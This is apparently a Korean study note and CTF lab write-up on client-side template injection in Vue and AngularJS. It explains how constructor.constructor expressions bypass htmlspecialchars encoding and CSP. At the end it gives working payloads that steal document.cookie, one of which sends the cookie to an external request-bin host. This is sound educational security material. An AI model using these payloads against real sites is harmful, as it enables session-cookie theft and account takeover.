Vue관련 CSTI

<script src="<https://unpkg.com/vue@3>"></script>
 
<div id="app">{{message}}</div>
 
<script>
	Vue.createApp({
		data() {
			return {
				message: 'Hello Vue!'
		}
	}).mount('#app')
</script>

{{ }} 같은 부분에 Vue 템플릿을 넣을 수 있다. 해당 부분에는 JS 표현식 혹은 문자열을 표시할 수 있다.

이를 통해서 Template Injection 혹은 XSS 취약점이 발생할 수 있다.

<script src="<https://unpkg.com/vue@3>"></script>
 
<div id="app">
	<?php echo htmlspecialchars($_GET['msg']); ?>
</div>
 
<script>
	Vue.createApp({
		data() {
			return {
				message: 'Hello Vue!'
		}
	}).mount('#app')
</script>

위 코드는 GET 메서드의 msg 파라미터를 그대로 출력한다. htmlspecialchars 함수를 통해서 모두 인코딩되기 때문에 일반적인 XSS는 불가능하다.

그럼 JS의 특징인 생성자를 이용한 점을 이용해서 XSS 공격이 가능해진다.

{{_Vue.h.constructor}} 를 이용해 접근할 수 있다.

/vue.php?msg={{_Vue.h.constructor("alert(1)")()}}

AngularJs관련 CSTI

<!doctype html>
<html>
	<head>
		<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script>
	</head>
	<body>
		<div>
			<label>Name:</label>
			<input type="text" ng-model="yourName" placeholder="Enter a name here">
			<hr>
			<h1>Hello {{yourName}}!</h1>
		</div>
	</body>
</html>

{{ }} 이 부분이 AngularJS 템플릿 부분이다. 해당 부분에는 문자열 혹은 자바스크립트 표현식을 실행할 수 있다.

<!doctype html>
<html ng-app>
	<head>
		<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script>
	</head>
	<body>
		<?php echo htmlspecialchars($_GET['msg']); ?>
	</body>
</html>

msg 파라미터 그대로 출력된다. htmlspecialchars 함수를 통해 모두 인코딩된다. 따라서 일반적인 XSS는 불가능하다.

AngularJS 템플릿에서 {{ constructor.constructor }} 를 이용하여 임의 코드에 해당하는 함수를 생성, 호출 공격이 가능하다.

  • {{ constructor.constructor(“alert(1)”)() }}

image.png

Client Side Template Injection 실습

  • 문제 배경 : Client Side Template Injection의 목표는 CSP 때문에 정상적인 쿠키 탈취가 힘들 경우 Client Side Template Injection을 활용하여 XSS를 발생시키는 것이다.
/인덱스 페이지
/vuln이용자의 입력한 값을 출력
/memo이용자가 메모를 남길 수 있고 작성한 메모를 출력
/flagURL에 임의 사용자가 접속하게끔 하는 FLAG가 존재하는 페이지

엔드포인트 : /vuln

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param
  • 이용자는 param 파라미터를 통해서 값을 출력합니다.

    위 경우 아무 필터링 없이 그대로 출력하기 때문에 XSS 취약점이 발생하게 된다.

엔드포인트 : /memo

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)
  • 사용자는 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력이 가능하다.

엔드포인트 : /flag

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("<http://127.0.0.1:8000/>")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
 
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
 
        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
  • GET

    이용자에게 URL을 입력받는 페이지 제공한다.

  • POST

    param 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다.

    check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속한다.

payload 테스트

<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script><html ng-app>{{ constructor.constructor("alert(1)")() }}</html>

MEMO를 이용한 payload

<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script><html ng-app>{{ constructor.constructor("location='memo?memo='%2Bdocument.cookie")() }}</html>

dreamhacktools를 이용한 paylaod

<script src="<https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js>"></script><html ng-app>{{ constructor.constructor("location='<https://nnghwvd.request.dreamhack.games/?'+document.cookie>")() }}</html>